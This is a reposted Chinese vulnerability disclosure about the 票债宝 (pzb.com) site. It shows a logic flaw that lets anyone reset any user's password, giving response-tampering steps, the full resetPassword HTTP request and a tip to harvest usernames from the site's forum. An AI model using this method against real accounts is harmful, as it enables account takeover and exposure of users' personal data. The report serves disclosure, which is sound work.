神刀安全网

漏洞标题: 票债宝设计逻辑缺陷导致任意用户密码重置

漏洞详情

披露状态:

2016-03-23: 细节已通知厂商并且等待厂商处理中
2016-03-28: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

RT

详细说明:

https://www.pzb.com/view/html/user/forgetPassword.shtml

13333333333测试

漏洞标题:  票债宝设计逻辑缺陷导致任意用户密码重置

输入任意验证码,抓包

漏洞标题:  票债宝设计逻辑缺陷导致任意用户密码重置

修改成success

跳转至设置密码页面

漏洞标题:  票债宝设计逻辑缺陷导致任意用户密码重置

设置新密码即可

漏洞标题:  票债宝设计逻辑缺陷导致任意用户密码重置

提取该接口请求内容

code 区域
POST https://www.pzb.com/web/view/anon/new/resetPassword HTTP/1.1
Host: www.pzb.com
Connection: keep-alive
Content-Length: 50
Accept: application/json, text/javascript, */*; q=0.01
Origin: https://www.pzb.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.122 Safari/537.36 SE 2.X MetaSr 1.0
Content-Type: application/json
Referer: https://www.pzb.com/view/html/user/forgetPassword.shtml
Accept-Encoding: gzip,deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: JSESSIONID=B725CA0E88E4A6A6F2C8062540351F2A; uid=rBADClbxWsQw7zlOAwPlAg==; CNZZDATA1256380794=1425105793-1458658165-null%7C1458658165

{"login_name":"13333333333","password":"123123qq"}

替换login_name 可重置任意用户,密码

例如

漏洞标题:  票债宝设计逻辑缺陷导致任意用户密码重置

论坛可获得部分用户的登录名

https://www.pzb.com/bbs/html/

登陆

漏洞标题:  票债宝设计逻辑缺陷导致任意用户密码重置

漏洞标题:  票债宝设计逻辑缺陷导致任意用户密码重置

个人资料涉及用户敏感信息

漏洞标题:  票债宝设计逻辑缺陷导致任意用户密码重置

漏洞证明:

如上

修复方案:

加强验证码

版权声明:转载请注明来源 路人甲@乌云

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » 漏洞标题: 票债宝设计逻辑缺陷导致任意用户密码重置

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址
分享按钮